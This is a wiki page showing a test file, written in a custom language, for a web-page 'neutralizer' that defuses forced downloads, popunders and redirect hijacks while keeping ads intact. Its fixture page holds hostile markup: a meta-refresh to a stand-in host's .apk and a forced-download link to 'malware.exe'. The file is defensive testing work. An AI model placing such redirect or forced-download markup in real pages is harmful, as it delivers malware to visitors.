code wiki / _hdl_build / nx_web_harden_gate.nx
nx_web_harden_gate.nx source
↩ module page · 68 lines · 5289 B
1import "nx_gate_base.nx"
2// nx_web_harden_gate.nx -- proves the 90s-neutral neutralizer: the attack teeth are pulled, the page + ads stay.
3import "nx_syscalls.nx"
4import "nx_web_harden.nx"
5
6func grow(name: *u8, ok: i64) -> i64 { if ok==1 { gw(" PASS " as *u8) } else { gw(" FAIL " as *u8) } gw(name); gw("
7" as *u8); return ok }
8func pw(s: *u8) -> i64 { var n: i64=0; while s[n]!=(0 as u8){n=n+1} sys_write(1,s,n); return 0 }
9func pn(v: i64) -> i64 { let b: *u8=sys_mmap(24); var m: i64=v; if m<0{pw("-" as *u8);m=0-m} let t: *u8=sys_mmap(24); var k: i64=0; if m==0{t[0]=48 as u8;k=1} while m>0{t[k]=(48+(m%10)) as u8;m=m/10;k=k+1} var i: i64=0; while i<k{b[i]=t[k-1-i];i=i+1} sys_write(1,b,k); return 0 }
10func g_find(hay: *u8, hl: i64, needle: *u8, from: i64) -> i64 {
11 let nl: i64 = g_slen(needle); if nl==0 { return from }
12 var i: i64=from; let last: i64=hl-nl
13 while i<=last { var j: i64=0; var m: i64=1; while j<nl { if (hay[i+j]&0xff)!=(needle[j]&0xff){m=0;j=nl} else {j=j+1} } if m==1 {return i} i=i+1 }
14 return 0-1
15}
16func g_has(hay: *u8, hl: i64, needle: *u8) -> i64 { if g_find(hay,hl,needle,0)>=0 { return 1 } return 0 }
17func g_count_byte(hay: *u8, hl: i64, b: i64) -> i64 { var c: i64=0; var i: i64=0; while i<hl { if (hay[i]&0xff)==b { c=c+1 } i=i+1 } return c }
18// print pass/fail for one check; RETURN ok (0/1) so main can accumulate (module-level mutable globals are not
19// assignable from inside a fn in NishiLang -- keep the tally local to main).
20func chk(label: *u8, ok: i64) -> i64 {
21 if ok==1 { pw(" ok " as *u8) } else { pw(" FAIL " as *u8) }
22 pw(label); pw("\n" as *u8)
23 return ok
24}
25
26func main(argc: i64, argv: *i64) -> i64 {
27 pw("== nx_web_harden_gate ==\n" as *u8)
28 var pass: i64 = 0
29 var total: i64 = 0
30
31 // ---- preamble: the neutralizer JS ----
32 let pre: *u8 = sys_mmap(16384)
33 let pl: i64 = wh_build_preamble(pre, 16384)
34 pw("preamble bytes: " as *u8); pn(pl); pw("\n" as *u8)
35 total=total+1; pass=pass+chk("P1 preamble non-empty\x00" as *u8, (pl > 200) as i64)
36 total=total+1; pass=pass+chk("P2 neutralizes programmatic click (HTMLElement.prototype.click)\x00" as *u8, g_has(pre, pl, "HTMLElement.prototype.click" as *u8))
37 total=total+1; pass=pass+chk("P3 decoys window.open (popunder)\x00" as *u8, g_has(pre, pl, "window.open=function" as *u8))
38 total=total+1; pass=pass+chk("P4 guards location.assign/replace to binaries\x00" as *u8, g_has(pre, pl, "L.assign=function" as *u8))
39 total=total+1; pass=pass+chk("P5 silences beforeunload hijack\x00" as *u8, g_has(pre, pl, "beforeunload" as *u8))
40 total=total+1; pass=pass+chk("P6 strips runtime download attrs (MutationObserver)\x00" as *u8, g_has(pre, pl, "MutationObserver" as *u8))
41 total=total+1; pass=pass+chk("P7 knows binary payload exts (.exe/.apk)\x00" as *u8, (g_has(pre, pl, ".exe" as *u8) & g_has(pre, pl, ".apk" as *u8)) as i64)
42 total=total+1; pass=pass+chk("P8 no '!' in emitted JS (literal-mangle canary)\x00" as *u8, (g_count_byte(pre, pl, 33) == 0) as i64)
43 total=total+1; pass=pass+chk("P9 no '#' in emitted JS (literal-mangle canary)\x00" as *u8, (g_count_byte(pre, pl, 35) == 0) as i64)
44 total=total+1; pass=pass+chk("P10 neutralizes form.submit to a binary (HTMLFormElement.prototype.submit)\x00" as *u8, g_has(pre, pl, "HTMLFormElement.prototype.submit" as *u8))
45
46 // ---- a hostile page: forced-download anchor + meta-refresh-to-payload + a display AD to preserve ----
47 let page: *u8 = "<html><head><title>t</title><meta http-equiv=\"refresh\" content=\"0;url=https://evil.tld/p.apk\"></head><body><a id=dl href=\"https://evil.tld/malware.exe\" download>grab</a><iframe class=ad-banner src=\"https://ads.example/imp\"></iframe><div class=ad>sponsor</div></body></html>" as *u8
48 let plen2: i64 = g_slen(page)
49 let out: *u8 = sys_mmap(65536)
50 let ol: i64 = wh_neutralize(out, 65536, page, plen2, pre, pl)
51 pw("neutralized bytes: " as *u8); pn(ol); pw("\n" as *u8)
52
53 total=total+1; pass=pass+chk("N1 preamble injected into page\x00" as *u8, g_has(out, ol, "HTMLElement.prototype.click" as *u8))
54 let ib: i64 = g_find(out, ol, "<body" as *u8, 0)
55 let ip: i64 = g_find(out, ol, "HTMLElement.prototype.click" as *u8, 0)
56 total=total+1; pass=pass+chk("N2 preamble runs before <body>\x00" as *u8, ((ip >= 0) & (ib >= 0) & (ip < ib)) as i64)
57 total=total+1; pass=pass+chk("N3 http-equiv (meta-refresh/CSP) neutralized\x00" as *u8, (g_has(out, ol, "http-equiv" as *u8) == 0) as i64)
58 total=total+1; pass=pass+chk("N4 http-equiv rewritten to inert data-equiv\x00" as *u8, g_has(out, ol, "data-equiv" as *u8))
59 total=total+1; pass=pass+chk("N5 page content preserved (the link is still there)\x00" as *u8, g_has(out, ol, "malware.exe" as *u8))
60 total=total+1; pass=pass+chk("N6 display ad iframe preserved (revenue-neutral)\x00" as *u8, g_has(out, ol, "class=ad-banner" as *u8))
61 total=total+1; pass=pass+chk("N7 ad div preserved\x00" as *u8, g_has(out, ol, "sponsor" as *u8))
62 total=total+1; pass=pass+chk("N8 title preserved (page renders)\x00" as *u8, g_has(out, ol, "<title>t</title>" as *u8))
63
64 pw("== web-harden gate: " as *u8); pn(pass); pw("/" as *u8); pn(total); pw(" ==\n" as *u8)
65 if pass == total { sys_exit(0); return 0 }
66 sys_exit(1)
67 return 1
68}